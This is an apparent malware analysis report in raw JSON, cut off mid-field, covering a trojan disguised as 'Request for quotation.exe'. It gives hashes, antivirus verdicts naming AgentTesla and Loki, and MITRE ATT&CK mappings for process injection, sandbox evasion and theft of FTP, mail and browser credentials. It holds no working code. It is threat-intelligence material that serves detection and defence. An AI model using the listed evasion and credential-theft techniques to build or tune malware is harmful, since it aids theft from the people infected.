EASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791263485339,"unified_at":"2026-10-06T05:11:25.339Z","metadata":{"hashes":{"sha256":"1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b","sha1":"f6d8e1eb36925ceb97024cfe2d71f3573d72a202","md5":"30109593131c48efe8a355f8b387dd4a","sha512":"d21fa1aaca986b5b72bb6ea9f3e2da13096b38d690f1df5ec03ef8b862909f351476a032f081afb53c409a7fb189e7f7eeb324b9ce1ebfb86727a576275b9ade","ssdeep":"24576:0ylUKXJnc1+6N1CySVIJq0UZbZctLsAKb6ah:0y+K5m+ISVIJTGbetLxKb6e","ssdeep_chunks":["24576:0ylUKXJ","24576:ylUKXJn","24576:lUKXJnc","24576:UKXJnc1","24576:KXJnc1+","24576:XJnc1+6","24576:Jnc1+6N","24576:nc1+6N1","24576:c1+6N1C","24576:1+6N1Cy","24576:+6N1CyS","24576:6N1CySV","24576:N1CySVI","24576:1CySVIJ","24576:CySVIJq","24576:ySVIJq0","24576:SVIJq0U","24576:VIJq0UZ","24576:IJq0UZb","24576:Jq0UZbZ","24576:q0UZbZc","24576:0UZbZct","24576:UZbZctL","24576:ZbZctLs","24576:bZctLsA","24576:ZctLsAK","24576:ctLsAKb","24576:tLsAKb6","24576:LsAKb6a","24576:sAKb6ah","49152:0ylUKXJ","49152:ylUKXJn","49152:lUKXJnc","49152:UKXJnc1","49152:KXJnc1+","49152:XJnc1+6","49152:Jnc1+6N","49152:nc1+6N1","49152:c1+6N1C","49152:1+6N1Cy","49152:+6N1CyS","49152:6N1CySV","49152:N1CySVI","49152:1CySVIJ","49152:CySVIJq","49152:ySVIJq0","49152:SVIJq0U","49152:VIJq0UZ","49152:IJq0UZb","49152:Jq0UZbZ","49152:q0UZbZc","49152:0UZbZct","49152:UZbZctL","49152:ZbZctLs","49152:bZctLsA","49152:ZctLsAK","49152:ctLsAKb","49152:tLsAKb6","49152:LsAKb6a","49152:sAKb6ah","24576:0y+K5m+","24576:y+K5m+I","24576:+K5m+IS","24576:K5m+ISV","24576:5m+ISVI","24576:m+ISVIJ","24576:+ISVIJT","24576:ISVIJTG","24576:SVIJTGb","24576:VIJTGbe","24576:IJTGbet","24576:JTGbetL","24576:TGbetLx","24576:GbetLxK","24576:betLxKb","24576:etLxKb6","24576:tLxKb6e"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"Request for quotation.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":1132544,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1682501707000,"last_seen":1692528353000,"last_multi_scan":1692528353000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":57},"sandbox_signatures":{"informative_count":112,"suspicious_count":19,"malicious_count":13,"total":144},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.AgentTesla","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"GrayWare/MSIL.Kryptik.arr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Tesla.mulkg","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Ransom.Loki.DQD","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Ransom.Loki.DQD (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Kryptik.AISD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!D59714923C12F446","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005a44dc1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-PSW.MSIL.Agensla.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"PWS-FDBP!30109593131C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Krypt-ABH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Troj.COE.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TScope.Trojan.MSIL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agensla.Win32.24568","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Ransom.Loki","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads the visual basic runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"},{"type":"informative","value":"Intercepted relevant COM error"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"malicious","value":"Writes PE header to memory"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"suspicious","value":"Submission/internal name is suspicious for an executable"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample possibly contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Credential Access","technique":"Credentials in Registry","attack_id":"T1552.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/002","identifiers":[{"type":"malicious","value":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"malicious","value":"Reads FTP client related registry keys"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Checks on FTP client related files"},{"type":"informative","value":"May execute SQL queries"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal FTP credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Tries to access mail clients information (file access)"},{"type":"malicious","value":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Contains ability to perform sql operations (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"suspicious","value":"Drops cabinet archive files"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Found user-agent related strings"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"tactic":"Command and Control","technique":"Web 